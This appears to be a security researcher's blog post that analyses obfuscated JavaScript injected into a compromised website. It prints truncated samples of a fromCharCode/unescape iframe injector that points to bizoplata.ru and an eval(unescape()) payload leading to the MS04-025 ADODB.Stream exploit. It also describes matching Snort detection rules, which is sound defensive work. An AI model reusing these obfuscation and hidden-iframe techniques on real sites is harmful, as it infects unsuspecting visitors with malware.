document.write(''+'<ifr'+'am'+'e '+String.fromCharCode(105)+String.fromCharCode( 100)+String.fromCharCode(61)+''+'"7'+'4f'+String.fromCharCode(52)+''+unescape('% 32')+'5'+'c'+unescape('%30')+unescape('%65%65%39')+unescape('%32%62')+String.fro
I loaded the URL up in its main window, hit "Send script to Decoder", and then in the Decoder tab, hit "Run script". Out came the source for a trio of 1x1 pixel iframes, each pointing to different files on the bizoplata.ru domain. Hmmm, that's no good...
With that in mind, a simple, fast Snort rule - SID 15362 - will do the trick to detect this attack, as well as any others that use this method of obfuscation.
Interestingly enough, when I returned to this malicious web site today to get my screen captures for this blog entry, I found that the payload had been switched up, including using a completely different style of obfuscation. The code at the web page referenced in the first paragraph here looked like:
eval(unescape('%u002f%u002a%u007a%u006e%u006d%u0065%u0078%u0067%u0063%u007a%u002a%u002f%u0076 %u0061%u0072%u002f%u002a%u0073%u0073%u006e%u0072%u006e%u006c%u002a%u002f%u0061%u0061%u0066%u0063 %u006f%u006f%u003d%u0022%u0030%u0038%u0038%u0032%u0030%u0036%u0031%u0038%u0035%u0032%u0030%u0032 %u0031%u0032%u0030%u0032%u0030%u0031%u0031%u0033%u0036%u0031%u0034%u0039...
After tracing my way through a similar set of redirects and iframes as with last week's malware, I ran across a much older, but apparently still effective, exploit - the ADODB.Stream ActiveX vulnerability from MS04-025:
My first thought here was to go remind people to patch their boxes - and their grandmothers', and their crazy Aunt Millie's, and any other systems they could get access to. I mean, geez, 5-year-old exploits shouldn't be useful any more! Soon, though, I realized that I needed to be sure that we had detection for this style of obfuscation, too. It's pretty obvious how this can be achieved: by searching for calls to eval() that begin immediately with calls to unescape(), where the payload for unescape() is big. Again, there's no good reason to do this in the wild, and it's a well-known malware obfuscation technique - which means that it's worth providing detection for those who want it, even if it may generate the occasional false positive. You'll see a rule for this in today's rule release.